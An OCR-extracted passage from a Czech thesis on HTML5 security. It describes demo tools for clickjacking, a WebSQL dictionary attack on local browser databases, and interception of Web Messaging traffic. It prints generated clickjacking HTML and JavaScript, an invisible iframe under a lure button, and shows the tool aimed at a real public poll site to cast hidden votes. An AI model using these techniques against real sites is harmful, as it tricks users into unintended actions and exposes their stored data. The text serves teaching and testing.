- html5shiv.js — skript umoziujici zobrazeni html5 elementd v IE. Licence
MIT/GPL2.

- normalize.css — kaskadové styly opravujici zptsob zobrazeni prvku, které nejsou

definovany v IE6/7/8/9 a FF3. Bez licence.

3.2.4 ClickJacking

Prvni vybranou zranitelnosti demonstrujici aplikacni bezpe¢nost technologie HTMLS je
ClickJacking s vytvofenym nastrojem pro jeji jednoduché pouziti. Timto nastrojem lze
vytvofit kompletni faleSnou webovou stranku, ktera na zaklad€ definovanych parametrti
umozni umistit objekt nad stranku tieti strany. Tedy stranku, kterda ma byt Uto¢nikem
zneuzita bud k ziskéni do formulafového pole zapsanych dat nebo stisknutim

potvrzovaciho tlacitka.
clickjacking.asp

Hlavni stranka nastroje pro tvorbu odkazu nebo HTML kodu, ktery je moZné zaslat obéti
takového utoku. Tato stranka je tvofena tfemi viditelnymi a jednou skrytou casti. Prvni
viditelna ¢ast levé sekce stranky obsahuje ndhled na vyslednou uzivatelsky definovanou
stranku, ve stylu v jakém ji uvidi obét’ takového utoku. Pod ni se nachazi ohrani¢ené pole
S upfesiiujicimi nastavenimi konecné webové stranky jako je velikost iframu, umisténi
socialnim inZenyrstvim zjiStény dotaz pro obét, viditelnost zneuZivané stranky nebo
nastaveni atributu sandbox elementu iframe (kapitola 2.7.2). Prava strana obsahuje
formular s dotazy pro spravné nastaveni zranitelnosti, tedy URL adresu zneuzivané
stranky, typ exploitu pro ¢teni dat nebo pro kliknuti, umisténi na vysledné webové strance

a nakonec samotny vygenerovany odkaz, ktery je mozny poslat obéti.

Skryta cast obsahuje dvé pole elementu <textarea> obsahujici kod exploitu, ktery je nutny

bud’ vlozit pomoci javascriptu a nebo jako HTML kéd. Standardné je skryty, jelikoz tento
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kod je jiz obsazen v souboru clickjacking_vyvojar.asp. Pokud by ho ovSem bylo potieba
zviditelnit, tak v souboru clickjacking.css umisténém ve slozce ,,css* je nutné v tfide
elementu .plochaClickJacking zménit parametr vlastnosti overflow z hidden na auto nebo

visible.

HTMLS - Clickjacking Tool

1. Napiste URL adresu, na kterou chcete, aby ufivatel nevédomé klikl
nebo ze které chcete ziskat informace

URL: hitp:/localhosthtmiSappsec

2. Vyberte typ exploitu (t
k

ace jsou ze strinky zasliny Gtoénikovi,
Click - pouze Kliknuti na pos k

rvek strénky)

Typ expl
3. Umistéte iframe na poiadované misto

(= (10 =0 @ or:l0 Left: 0

4. Pokud jako typ exploitu bylo vybréno "Ctent”, tak je nyni dalezité také
evo 100 mensit rozméry iframu

Automaticky | Vyska: 200 Siika: 420

5. Vygenerovany odkaz pro moznost zasldni obéti
(Tento odkaz je pfi kaZdé zméné automaticky aktualizovdn)

NWFweHNIYow

Obrazek 5: HTMLS5 - ClickJacking Tool
clickjacking.js

K tomu, aby veskeré zmény, provedené v jednotlivych polich formuldfe, mohly byt
automaticky promitnuté do vysledného odkazu a aby také byly ihned vidét pomoci
nahledu, je zapotfebi pouzit skriptovaciho jazyku na strané klienta. Timto jazykem je
ECMAScript5, kterym lze jednotlivé funkcionality provadét. Z toho diivodu byl vytvoren
soubor clickjacking.js umistény ve slozce ,,js*, ktery obsahuje funkci pro vychozi nastaveni
vSech parametrd, funkci pro aktualizaci poli pfi provedeni libovolné zmény, vyplnéni nebo
stisknuti tlacitka, funkci pro zménu typu exploitu a zmenSeni velikosti iframu v pifipadé

vybéru volby pro Cteni.
clickjacking_vyvojar.asp

Jedna se o stranku, ktera je ur¢ena pro zobrazeni vysledné vygenerované stranky z nastroje
pro tvorbu zranitelnosti ClickJacking umisténou ve sloZce ,,clickjacking®. Tato stranka ma
jediny ukol zpracovat proménné s parametry piedané v URL adrese a tyto zobrazit.
Vzhledem ktomu, Zze se od obéti ofekava aktivni spoluprace, je potieba také tuto
klientskou ¢ast zpracovat skriptovacim jazykem. K tomuto Gcelu vznikla JavaScriptova
knihovna spole¢na pro vSechny typy vybranych zranitelnosti s nazvem framework.js, ktera
pro popisovanou Zzranitelnost obsahuje dvé funkce snazvem clickJackingZobrazeni

S ocekavanym parametrem pro vybér typu exploitu, na zdklad¢ kterého se provede spravné
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zobrazeni vybraného typu a clickjackingAktualizace, ktera v ramci tvorby uto¢né stranky
provede aktualizaci generovaného odkazu vcetné aktualizace zobrazeni zneuzivané

stranky.

3.2.5 Client-side SQL injection

Druhou vybranou zranitelnosti demonstrujici aplikacni bezpec¢nost technologie HTMLS je
zranitelnost typu ¢sSQLi umoznujici z lokdlniho datového ulozisté vytézeni a zobrazeni
uloZzenych dat. K této demonstraci byla vybrdna jedna ze dvou technologii HTMLS
podporovanych lokélnich databazi a to WebSQL vyuzivajici SQLite rela¢ni databazi (viz.
kapitola 3.1.5). Soucasti obsahové casti zalozky Client-side SQLi souboru index.asp je
krom¢ samotného popisu zranitelnosti také provedena pomoci javascriptové funkce
oznacené websqlStorage(), ulozené v souboru framework.js, kontrola podpory WebSQL
databaze v aktudlnim webovém prohlize¢i. Pokud dany webovy prohlize¢ tento typ
databaze podporuje, tak krom¢ informace o podporfe, bude také prostrednictvim
javascriptové funkce podporaTlacitka() zobrazeno tlacitko oznafené ,,csSQLi —
WebSQL*. Stisk tohoto tlacitka umozni vstoupit na stranku se samotnou demonstraci

slovnikového utoku na zobrazeni dat z lokalniho ulozisté SQLite databaze.
HTMLS Application Security HTML5 Application Security

Vytézeni dat z lokélnho datového tlozisté

WebsQL WebsqQL

Obrazek 7: csSQLi — Google Chrome 26 Obrazek 6: csSQLi — Internet Explorer 9
cssqgli.asp a cssqli.js

Hlavni stranka pro vizualizaci prace s lokdlni relaéni databazi specifikace WbeSQL
technologie HTMLS, ve které je mozné si vyzkouSet samotnou praci S ukladanim a
mazanim dat. Pii spusténi této stranky se prostfednictvim javascriptového souboru cssqli.js
umisténého ve slozce ,,js* automaticky vytvoii databaze s bézné€ pouzivanym nazvem
»Sqlite” a naplni se prvnimi testovacimi daty ve smyslu knihovny obsahujici pole pro

nazev knihy, pocet stran a autora. Piikaz pro vytvofeni databdze je ve skuteCnosti ptikaz
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pro otevieni databaze window.openDatabase("sqlite”, "1.0", "Testovaci databaze", 2000),
ktera se v pripad¢€, ze doposud neexistuje, vytvori. Pro praci S databazi se pouziva funkce
executeSgl. Pomoci stisku tlac¢itka ,,Ulozit” se vzdy zapsana data ulozi do lokalni databaze
a ihned se pod t€émito formularovymi poli provede jejich vypis. Na zacatku kazdého radku
zdznamu se zobrazi tlacitko ,,X*, které zde plni funkci vymazéani celého tadku daného
zdaznamu. Veskera prace s touto databazi je vzdy ihned aktualizovéna, takze jakékoliv akce
je okamzité vidét.

Druhou c¢asti stranky oznaCené cssqli.asp je samotnd demonstrace mozného tutoku
pro piipad, ze by se uto¢nikovi podatilo naptiklad pomoci dalsi kombinaci riznych typt
utokl k lokalnim datiim a spustit skript, kterym by mohl provést slovnikovy utok na nazev
databaze. SpusSténi tohoto typu utoku se provede otevienim stranky oznacené

vytezeniWebSQL.asp v nové karté nebo v novém okné webového prohlizece.

HTML5 - Client-side SQLi — WebSQL

fadl

Hacking uméni exploitace 263 ERICKSON Jon UloZit

X | XSS:Cross si pting - 330 - KUMMEL Roman
X | HTMLS Hacks - 500 - CRAVENS Jesse

Obrazek 8: csSQLI - WebSQL

vytezeniwebsql.asp

Stranka obsahujici pouze navod pro spusténi vytézeni WebSQL databéze a tlacitko, kterym
se spusti javascriptova funkce oznacena spusteniSlovnikovehoUtoku() umisténa
V javascriptovém souboru framework.js ve sloZce ,,js*“. V tomto souboru se dale nachazi
funkce websglVypisDatabazeSlovnikem() obsahujici pole nejpouzivanéjsich nazvt databazi
s cyklickou operaci spusténou pro kazdy v poli uvedeny nazev databaze a funkci
pro pfipadny vypis dat pomoci funkce oznacené websqglVypisExistujiciDatabaze().

V piipadé, Ze budou n&jaka data nalezena, tak pomoci funkce websqlVypisDatabaze()
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dojde kjejich vypsani a ulozeni do aktudlni databaze vcetné nalezenych tabulek
prostiednictvim funkce websqlVypisTabulek(). O ukonéeni hledani bude ptipadny utocnik

informovéan prostfednictvim vyskakovaciho okna.

3.2.6  Web Messaging

Tteti a posledni vybranou zranitelnosti demonstrujici aplika¢ni bezpecnost technologie
HTML5 je specifikace Web Messaging s vytvofenym nastrojem pro sledovani a
vstupovani do komunikace mezi dvéma objekty, umoziujici webovym strankam spolu
navzdjem komunikovat prostfednictvim zasilani zprav bez nutnosti piistupu na server.
Z toho divodu byly i jednotlivé stranky ulozeny pouze v HTML podob¢ bez jakéhokoliv

skriptovani na strané¢ serveru.
webmessaging.htm

Hlavni stranka obsahujici nastroj pro sledovani komunikace s moznosti aktivniho vstupu
do pribehu této komunikace. V ptipad¢ preruseni automatické komunikace je také mozné
poslat jedné ze stran zpravu. Tato po opétovném spusténi komunikace bude pozadované
strané zaslana. Pro ukladédni sledovanych zprav se vyuziva lokdlni ulozisté specifikace
Web Storage technologie HTMLS5, resp. jeji funkcionalita pomoci objektu localStorage,
ktera ma nékolik metod: clear — smaze veskery obsah, getitem(kli¢) — vrati data dle klice,
setltem(klic, hodnota) — vlozi hodnotu sklicem a dal§i vtéto praci jiz nepouzité.
Pfi spusténi této stranky je jako prvni nejdiive nastavit URL adresu klienta pomoci
formularového pole a tlacitka pro nastaveni. Pro demonstrativni pouZiti je tato adresa jiz
pfedvyplnéna, ale pfesto je nutné ji potvrdit uvedenym tlacitkem, ¢imZ dojde k jejimu
uloZeni do lokalniho ulozisté pod klicem oznacenym ,,url klienta®. Pro ptipad jakékoliv
dals$i pozadované zmény URL adresy klienta jiz staCi jen tuto adresu piepsat a bude
automaticky zménéna i v lokalnim ulozisti. Dalsi funkci je odeslat(komu) s parametrem
vybrané strany. Tato funkce nejdiive zkontroluje, zdali se v tiloZiSti nenachazi néjaké
zprava pro odeslani pozadované strané, pokud ano tak ji pfevede na normalni zpravu a
ulozi pro odeslani. Posledni neméné¢ dulezitou funkci je samotny vypis sledované
komunikace s nazvem ukaz_komunikaci(). Jejim tkolem je piehledné zobrazit jednotlivé
zasilané zpravy mezi objekty ulozené v lokalnim ulozisti. Je dilezité ptipomenout, Ze celd
komunikace je zalozena na spolupraci s lokdlnim uloZistém, jelikoz specifikace Web
Messaging posila zpravy mezi strdnkami mimo server. Na této strance se jeSté nachazi

tlacitko pro ,,spusténi automatické komunikace®, ktera se nachazi na strance wmobet.htm.
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URL adresa klienta:  wmkiient htm Nastavit adresu

Pole pro zadéni textové zpravy

| Odesiat obéti Odeslat kiientovi

Smazat vyps komunikace

Obrazek 9: Web Messaging Tool

wmobet.htm

Jednoduché stranka koncipovéna jak rodi¢ obsahujici vlozeny rdmec (iframe) s proxy
strankou pfes kterou se provadi automatickd komunikace s klientem pomoci funkci

cteni_z_klienta() a odeslat_klientovi().
wmproxy.htm

Opét jednoducha stranka koncipovana jako prostfednik mezi komunikujicimi webovymi
strankami klientskou aplikaci wmklient.htm a obéti wmobet.htm. Obsahuje jako vlozeny
ramec (iframe) stranku s klientem komunikace a funkce aktualizace_klienta(), kterou se
aktualizuje URL adresu klienta v pfipadé jakékoliv zmény, wm_zpetne_volani() kterou se
provadi preposlani zachycené Zpravy skute¢nému pfijemci a
kontrola_seznamu_pred_odeslanim(), kterou se provede kontrola, zdali uto¢nik poslal
n¢jaké strané¢ komunikace faleSnou zpravu. V ptipad¢€, ze takovou nalezne, tak provede

konverzi této zpravy na skute¢nou zpravu zaslanou od konkrétniho odesilatele.
wmklient.htm

Stranka obsahujici klientskou aplikaci s komunikaci ve formé& automatickych odpovédi
prostiednictvim metody pro zasildni zprav mezi dvéma webovymi strankami nazvané

postMessage().
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wmobet.htm

wmproxy.htm

postMessage()

wmklient.htm

Obrazek 10: Web Messaging - schéma struktury stranek
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4 TESTOVANI ZRANITELNOSTI TECHNOLOGIE HTMLS5

Vzhledem ktomu, Ze testovani zranitelnosti webovych aplikaci patii do specifické
kategorie softwarovych aplikaci, je testovani, které nad nimi lze provadét, také specifickou
zalezitosti. Na kazdou moznou volbu, stupenl vyvoje, situaci nebo urcitou moznost existuji
ruzné typy a metody testovani. Samotna testovaci faze je poté rozdélena do dvou casti, kde
prvni je pasivni. V této ¢asti tester zkousi funkcnost dané webové aplikace, zkouma HTTP
hlavicky, parametry, cookies atd. K tomuto ucelu existuje nékolik néstrojii, napt. Burp
Suite, plugin webového prohlize¢e Mozilla Firefox Tamper Data nebo Firebug a dalsi.
Druhd faze je aktivni. V této fazi tester testuje aktivné zranitelnosti naptiklad vyuzitim
nejnovejsi verze OWASP Testing Guide v4 [23] pomoci aplikace W3AF, OpenVAS a

spoustou dalSich existujicich nastrojii pro skenovani zranitelnosti webovych aplikaci.

4.1 Metody testovani bezpec¢nosti webovych aplikaci

Hlavnim divodem pro testovani bezpecnosti webovych aplikaci je zejména identifikace
moznych rizik sjejich naslednym odstranénim, jakym mutze byt naptiklad kontrola
pristupu a opravnénosti uzivatele, validace a verifikace dat aj. Proto je pfed samotnym
navrthem takové aplikace dileZité serozhodnout, jakym zplsobem bude testovani

provadeéno.

4.1.1 Statické a dynamické testovani

Rozdil mezi statickym a dynamickym testovacim procesem softwaru spociva piedevSim
v pfitomnosti aktudlniho stavu objektu testovani. Statické testovani se zamétuje
na neaktivni ¢ast, nevykonavajici Z&dnou Cinnost, ktera se vyuzivd predevSim
V pocatecnich fazich Zivotniho cyklu vyvoje aplikaci, kde prozatim nebyl vytvoren funkéni
prototyp. Zejména na kontrolu specifikace pozadavkil, piipadn€ kontrolu statického

prochéazeni jednotlivych ¢asti zdrojového kodu.

Oproti tomu dynamické testovani se zaméfuje na aktivni Cast testovaciho procesu,
K tomuto ucelu vyuzivajiciho funkéniho prototypu aplikace, zaméfeného na provoz
aplikace. Zejména na kontrolu vstupnich a vystupnich informaci, na stav a uzivatelskou

interakci uzivatele s danou aplikaci a dalsi.
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4.1.2 Black box, Gray box a White box

Dalsi strategie rozdéleni testd aplikace je zalozena na zakladg, jakych znalosti o aplikaci
se k provadéni testd pristupuje. V zasadé se tato uroven danych informaci da rozdélit na tii
urovné, které se oznacuji jako Black, Gray a White box. Nékdy se toto rozdéleni oznacuje i
prelozenymi ceskymi nazvy jako Cernd, Seda a bila skiinka, nicméné daleko vice jsou
zazité nazvy anglické.

Jako Black box se oznacuje stav, kdy informace dostupné pro testovani aplikace spocivaji
ve znalosti vstupnich dat a ocekévanych vystupli. Vnitini struktura aplikace neni znama,
proto je pohled na aplikaci prevazné uzivatelsky. Testovani tedy probiha nejcastéji
na podklad¢ uzivatelskych pozadavki, jehoz smyslem je ovéfeni, zda ocekdvané chovani
(definovanymi vstupy a vystupy) odpovida skutecnému. Je jednodussi metodou, jelikoz
vytvofenim kvalitni testovaci dokumentace ji nasledné mize pouzit i méné zkuSeny

uzivatel.

Naopak White box je oznacenim pro pfistup ke vSem informacim, v¢etné zdrojového kodu
aplikace. Testovani pak probiha pfevazné na samotném ¢istém zdrojovém koddu, bez toho
aniz by takova aplikace musela byt viibec spusténa. Diky znalosti vnitini struktury a logiky
aplikace je mozné otestovat 1 funkcionality, které by jinak z vnéjSiho pohledu nebyly
patrné. Neboli je mnohem lepsi testy pokryt strom podminkami, které jsou v konkrétni
podobé vidét, neZ mit jen sporadickou predstavu danou definovanymi vystupy. Pro pouZziti

této metody testovani jsou vyZadovany hlubsi programatorské znalosti.

Gray box je definovan jako néco mezi Black a White boxem, tedy pro testovani aplikace je
specificka jak znalost vstupnich dat a ocekavanych vystupl,, tak 1 zdkladni znalost
vnitinich procest v aplikaci. Tyto informace ovSem nemusi byt tak hluboké jak u White
box testovaci metody, ale méli by byt hlubsi nez u testovaci metody Black box. I diky tomu

je tato metoda nejcastéji vyuZzivana.

4.1.3 Manualni a automatické testovani

Zéakladnim rozdilem mezi manualnim a automatickym testovanim je v pouziti bud’
lidskych, anebo programovych zdroji. Pokud je pro potfeby testovani nutné vyuzit
lidského ptistupu, tisudku a ohodnoceni, které se nemusi v pravidelnych cyklech opakovat,
je vhodnéjsi vyuzit manudlniho testovani. Naopak pro potieby spousténi velkého mnozstvi

testll s generovanymi vstupnimi daty, nebo cyklickymi operacemi vcetné testii zat€Zovych
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je mnohem vhodnéjsi pouzit automatického testovani. Pro tuto metodu jiz existuje spousta
vytvofenych programi, naptiklad N-Stalker, Acunetix Web Vulnerability Scanner, Nikto a

dalsi.
4.2 Demonstrace vytvorené webové aplikace

Demonstrace vybranych specifikaci technologie HTMLS vytvotenych ve webové aplikaci
HTMLS5 Application Security, které jsou soucasti této diplomové préace, probiha formou
dynamického manualniho testu pomoci pfipraveného prostfedi pro simulaci ptfipravy a
vykonani utoku vygenerovanim odkazu, spusténim komunikace nebo ptedchozi praci
s lokalni databazi a naslednou moznosti manipulace s daty, kterymi 1ze ménit vlastnosti

webového prohlizece.

Jak jiz bylo napséano dfive, bezpe¢nost webovych aplikaci standardii technologie HTML5
zavisi predev§im na implementaci bezpe¢nostnich prvki vyvojart webovych prohlizecu.
Pro demonstraci Vv aplikaci vytvofenych utokli sukazkou zranitelnosti vybranych
specifikaci technologie HTMLS je pouZivan webovy prohlize¢ Google Chrome ve verzi
26.0.1410.64 a jako ukézka, ze webovy prohlize¢ 1 ve své nejnovéjsi verzi nepodporuje
technologii HTMLS, je pouzit webovy prohlize¢ Microsoft Internet Explorer ve verzi
9.0.8112.16421 s verzi aktualizace 9.0.15.

4.2.1 Demonstrace HTMLS zranitelnosti pomoci ClickJackingu

Jedna se o jednoduchy nastroj, kterym lze vytvofit stranku s odkazem na zranitelnost typu
ClickJacking. Néastroj na tvorbu stranky se zranitelnosti je rozdélen na levou ¢ast, ktera
V horni ¢asti zobrazuje umisténi prvku (exploitu) nad zvolenou strdnkou pro ziskani
pozadovanych informaci nebo pro stisknuti urcitého tlacitka této stranky. Ve spodni ¢asti
levé strany stranky se nachédzi rozSifujici panel nastaveni, v némZz je mozné nastavit
pozadovanou velikost iframu, umisténi prvku tzv. socialniho inzenyrstvi, viditelnost
zneuzivané stranky. Dale je mozné pro piipad, ze bude potfeba vlozeny iframe spustit 1
Vv prostiedi sandboxingu, tedy Vv chrdnéném a omezeném prostiedi, nastavit potfebny
parametr pro dany atribut. Napftiklad pro povoleni moznosti odeslat formulai allow-forms,
pro povoleni spousténi JavaScriptu s automaticky spousténymi vlastnostmi allow-scripts

nebo pro povoleni dokumentu na zachovani jeho ptivodu allow-same-origin a dalsi.

V pravé Casti stranky nastroje pro zranitelnost typu ClickJacking se nachdzi zékladni

nastaveni jakym je URL adresa zneuZivané stranky, typ pozadovaného exploitu, umisténi
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pozadovaného prvku iframu, upraveni rozméru iframu v ptipadé vybéru exploitu pro ¢teni
a nakonec automaticky generovany z nastavenych parametri odkaz s vytvofenou

zranitelnosti.

Soucasti tohoto nastroje je skryté generovani kédu, ktery je mozny vlozit do stranky bud’
pomoci JavaScriptu nebo jako HTML kod exploitu (viz. Obrazek 11).

¥AaAd avnint
ROO expioit

ktery je nutny VloZit pomoci javaScriptu:

=script src="http://localhost/html5appsec/js/framework js'=</script=

<script=clickjackingZobrazeni('click');
clickjackingAktualizace(baset4dec('aHROcDovL2xvY2FsaG9zdC90dG1sNWFwcHNIYw=="),0,0,0,370,410,0,2
0,200,420,40,100 false,");=/script> 2

HTML kod u {automaticky aktualizovano):
=html lang='cs"=<=head><meta charset='utf-8'></head><body>
=div id="iframeKontejner" style="z-index: 2; position: absolute; overflow: hidden; height: 200px; width
420px; top: Opx; left: 20px;">
<iframe id="iframe" style="position: absolute; top: Opx; left: Opx; height: 370px; width: 410px; opacity:
0;" src="http:/llocalhost/html5appsec">=/iframe>
</div=
=div id="socialniDotaz" style="position: absolute; z-index: 1; text-align: left; width: 150px; font-family:
Cambria, Georgia; top: 40px; left: 100px;"=
<center=Chces vidét néco=br>opravdu zajimavého?</center=
<input type="button" value="Klikni sem" style="font-size: 12px; position: absolute; left: 40px; margin-
top: 5px;"=
</div=
</body==/html=

Obrazek 11: ClickJacking Tool - generovani kodu

I presto, Ze tento nastroj byl vytvofen pouze pro demonstracni ucely, lze ho aplikovat 1
na bézné piistupné redlné stranky v prostfedi internetu. Pro demonstraci byla vybrana
stranka na adrese: ,.http://technet.idnes.cz/ankety.aspx?idanketa=A20130327_dvr_50*
s anketni otazkou, kde by utonik mohl pomoci naptiklad socidlniho inZenyrstvi poslat
nastrojem vytvofeny odkaz obétem a pfinutit je tak k hlasovani v této anketé, aniz by

védeli, ze tak Cini a jakou volbu potvrdili.

1.) pomoci nastroje ClickJacking Tool bylo provedeno vlozeni odkazu s anketou
s nazvem ,,Ktery z programil byste doporucili pro stfih videa?*, vybéer typu exploitu
na Click a umisténi iframu na volbu s tlacitkem pro vybér pfidani hlasu pro Adobe

Premiere Elements (Obrazek 12).


http://technet.idnes.cz/ankety.aspx?idanketa=A20130327_dvr_50
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HTMLS - Clickjacking Tool

S

1. Napiéte URL adresu, na kterou chcete, aby uzivatel nevédomé klikl
nebo ze které chcete ziskat informace

URL: http-/technet.idnes.cz/ankety aspx?idanketa=A2013032

Kiikni sem

2. Vyberte typ exploitu (Cteni - informace jsou ze stranky zaslany Gtoénikovi,
Click - pouze kliknuti na poZadovany prvek stranky)

{ Pridat hias pro ‘Adobe Premiere Elements

Typ exploitu: © Cteni @ Click

3. Umistéte iframe na poZadované misto
= ‘ 1) [ =] [ 4] Top: -808 Left: 40

o (Umisténi ramce jako celku: Nahote: |0 Vlevo: [20 )

1fs Vyska, 1178 - . 5 - Aipitzn
raipe 4. Pokud jako typ exploitu bylo vybrino "Cteni™, tak je nyni duleZité také

Socialni inzenyrstvi Nahote 40 mensit rozméry iframu

Iframe opacity (0 a2 100) 20 Automaticky | Vyska: 1024 Sirka: 768

[ sandbox: jallow-forms < . o
5. Vygenerovany odkaz pro moznost zaslani obéti

[¥] Automatick4 aktualizace iframe V§$ka / Sifka (Tento odkaz je pfi kaZdé zméné automaticky aktualizovan)

(¥ Automaticka aktualizace opadity v odkaze exploitu http://localhost/html5appsec/clickjacking/clickjacking vyvojar.asp? +
1=aHROcDovL3RIY2huZXQuaWRuZXMuY30vYWSrZXRSLmFzcHg/a' ~

url

Obrazek 12: ClickJacking - demonstrace odkazu — tvorba

2.) nasledné byl vygenerovany odkaz zobrazen na nové strance ve stavu, v jakém jej

uvidi i pfipadna obé&t’ (Obrazek 13).

ROcDovL3RIY2hu

[ ] C' | [ localhost/htmiSappsec/clickjacking/clickjacking_vyvojar.asp?url=a

Chces vidét néco
opravdu zajimavého?

Obrazek 13: ClickJacking — demonstrace odkazu — zobrazeni

3.) nakonec je mozné provést kontrolu zobrazené stranky zvySenim hodnoty opacity

na 80, pro zobrazeni skutecné zneuzivané stranky a umisténim tlacitka (Obrazek

14).
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[ ] C' | [} localhost/htmi5appsec/clickjacking/clickjacking_vyvojar.asp?url=aHROcDovL3RIY2hu

dat hlas

Pinnacle Studio

dat hias

Adobe Premiere Elements

dat hlas

Corel VideoStudio Pro

dat hlas

Final Cut Pro

Obrazek 14: ClickJacking — demonstrace odkazu — kontrola

4.2.2 Demonstrace HTMLS zranitelnosti pomoci csSQL injection

Demonstraci vytézeni dat z lokalni databaze WebSQL je mozné provést pouze u webovych
prohlizect, ktefti tuto specifikaci technologie HTMLS podporuji. Z toho diivodu byl vybran
prohlize¢ Google Chrome. Prace s lokalni databdzi ve form¢ vkladani (insert), vybéru
(select) a mazani (delete) byla popsana v kapitole 3.2.5. Nastrojem pro vyvojafe webovych
aplikaci, implementovaném ve webovém prohlize¢i, je mozné zkontrolovat lokéalné

uloZena data (Obrazek 15).

HTML5 - Client-side SQLi — WebSQL

Fa

ERICKSON Jon Ulozit

Obrazek 15: WebSQL - kontrola lokalné uloZenych dat
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Demonstrace vytézeni lokaln¢ ulozenych dat slovnikovym utokem se provede v nové
spusténém okné (Obrazek 16), kde se kontrolou da zjistit, ze zddna lokaln¢ ulozend data

nejsou pristupna a viditelna.

HTMLS - Vytézeni WebSQL databaze

Stisknutim tladitka “Spustit vytzeni WebSQL databéze" bude zahsjen slovnikovy
Gtok na lokalni WebSQL databézi pr dujicimi nézvy: sql, SQL, DB, db, SQLITE,
SQLite, sqlite, DB1, db1, DataBase, DATEBASE a sqli.

Dany typ ttoku je nejl
je nastroj pro
mozné provedeny efekt prohlédnout. Konkrétné se jedna o zalozku Resources ->
Web SQL

Spustit vytéZeni WebSQL databaze

Elements | Resources | Network Sources Timeine  Profies  Audis  Console

» () Frames

¥ | | incexedDs
v i Locai Storage
¥ {5 Session Storage
¥ 124 Cookies
& locahost
¥ & Appicaton Cache

Obrazek 16: csSQLi - nové spusténé okno prohlizece
Naslednou funkcionalitou pro vytézeni dat pomoci pfipraveného javascriptového kddu
se provede cyklickd operace s kontrolou, zda nédzev databidze (pouzZitd z pfedem
pfipraveného pole moznych nazvli databazi) obsahuje néjaké tabulky a v ni ulozena data.
Vzhledem k pfedchozimu pouziti nazvu ,sqlite“ byla tato databaze nalezena vcetné

tabulky oznacené ,,Knihy* s ulozenymi daty (Obrazek 17).

HTMLS5 - VytéZeni WebSQL databaze

Stisknutim
iitok na lok:
SQLite, sqlite,

"Spustit vytdZeni WebSQL databize” bude zahjen slovnikovy
ebSQL databazi pro nésledujicimi nazvy: sql, SQL, DB, db, SQLITE,
,db1, DataBase, DATEBASE a sqli.

Google Chrome, jeliko? je

se jednd o zilozku
Web SQL

Spustit vytéZeni WebSQL databaze

Elements | Resources | Network Sources Tmeine Profies  Audts  Console

» (] Frames

v {web saL
*|1sa

»|isaL
»{ o8
i
» | |saume
> | 1soLee
v {saie

> | joB1
>
» | |Datasase
» | | DATEBASE
> | fsai
¥} |indexed08 2.4
8,x a ¢ L

Obrazek 17: csSQLI - nalezeni nazvu databaze s uloZzenymi daty
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4.2.3 Demonstrace HTMLS5 zranitelnosti pomoci Web Messaging

Jedna se o jednoduchy néstroj pro demonstraci komunikace mezi dvéma objekty pomoci
specifikace Web Messaging technologie HTMLS5. Timto nastrojem je mozné kromé
sledovani samotné komunikace také do ni vstupovat a vydavat se za jednu ze stran. Tato
specifikace jak jiz bylo napsano v kapitole 2.2, umoziuje riznym webovym strankam si
z ruznych domén (podminka nastaveni parametru domény metody postMessage() na *)
mezi sebou navzajem posilat zpravy, a to vSe bez nutnosti piistupu na server jako
prostiednika. Diky zptisobu takové komunikace je mozné provést utok jen prostfednictvim
vytvotené webové proxy stranky, ktera bude tvofit prostiednika mezi jednotlivymi
komunikujicimi objekty. Nejdiive bude do proxy webové stranky vlozen ram s webovou
strankou klientské aplikace, v tomto pfipadé wmklient.htm. A nasledné bude do stranky
obéti vlozen ram s webovou proxy strankou. Cili ob&t’ se ke klientské aplikaci obstaravaji
komunikaci mezi dvéma objekty, dostane pies proxy stranku. Timto zplisobem pracuje i
pro demonstraci vytvofena automatickd komunikace, po jejimz spusténi dojde

k automatické komunikaci se zdznamem zasilanych zprav.

Odeslat obéti | = Odeslat kiientovi

Obrazek 18: Web Messaging - vypis sledované komunikace

Jesté pred samotnym spusténim automatické komunikace je potieba nastavit URL adresu
klienta, kterad pro demonstrativni ucely je jiz v dané kolonce piedvyplnéna. Nicméné
pro prvni spusténi je nutné ji potvrdit kliknutim na tlacitko ,,Nastavit adresu. Pii jakékoliv
dal$i zméné této adresy jiz dojde i k automatickému prenastaveni a tim padem i ke zméné

komunikujici klientské aplikace.
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K ukladani zaslanych zprav se vyuziva dalsi specifikace technologie HTMLS a to Web
Storage, konkrétné lokalniho ulozisté localStorage(). To znamena, ze zasilané zpravy lze
prohlédnout 1 pomoci nastroje pro vyvojafe webovych aplikaci, implementovaného

ve webovém prohlizeci (Obrazek 19).

ahoj || fobiect fobject object
obeb>Kiient i o http/locathost | - undefined false e g faise false a 2 boof webiir
kamarade [ Windon] Window] Window .
4 = 267410318964 g fobject fobject |
ient>>obet hitpilocahost| ~undefined false e false %7410318964 | false || folse 2 message | i (0 || webkite
Windon] || Window v o
Testova
proxy>>Kient ©
2pri
Takto fobiect fobiect b
Kient>>obet e hitp localhost ||~ undefined false e e false 367410317348 | faise || false 2 o inithessageEvent( || webiit
fajn Window Window] :
{ Inative code]} 10
Ahoj jobject jobject iobject [object
obet>>idient hoj | obi o localhost | undefined false e i false 367410317346 | faise || false 2 fob ODIECt ) csage fnth
Kamarade || Window Window Window] (| Window .
Testova
proxp>obet N
ria

Elements | Resources | Network Sources Timeine  Profies  Audes Console

Obrazek 19: Web Messaging - vysledny vypis komunikace

4.3 Navrh aplikace pro testovani bezpecnosti webovych aplikaci

Pro testovani bezpecnosti webovych aplikaci existuje velkd spousta hotovych a plné
funk¢nich aplikaci. Jednou z nich je i aplikace uzptsobend k moznostem provadéni Gtokt a
auditti webovych aplikaci W3AF (Obrazek 20), distribuovana pod licenci GPL. Hlavnim
cilem této aplikace je najit chyby a napadat, formou k tomu vytvofenych exploiti,
zranitelnosti ve webovych aplikacich. Vysledkem téchto provedenych testi je seznam

nalezenych chyb a zranitelnosti se stru¢nym popisem.

Obrazek 20: W3AF - aplikace na testovani bezpecnosti
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Druhou aplikaci pro testovani bezpecnosti webovych aplikaci je komplexni nastroj pro
skenovani a hodnoceni zranitelnosti OpenVAS (Open Vulnerability Assessment Systém —
Otevieny systém pro hodnoceni zranitelnosti), ktery je také distribuovan pod licenci GPL a
umi spolupracovat s fadou externich programii jakymi jsou Nikto (testy bezpecnosti
webovych servertt), Nmap (bezpecnostni skener portl), SLAD (démon pro lokalni

bezpecnostni audit), Ike-scan, Hydra, Amap, SNMPWalk, LDAPSearch, pnscan a dal$imi.

Greenbone Security Assistant
Version 2.0.1

¥ report-1a53c60...pdf

& Greenbane Security As.

Obrazek 21: OpenVAS s Ul Greebone Security Assistant

A posledni aplikaci navrzenou pro testovani bezpecnosti webovych aplikaci je
multiplatformni ndstroj pro analyzu aplikaci komunikujicich prostfednictvim protokoll
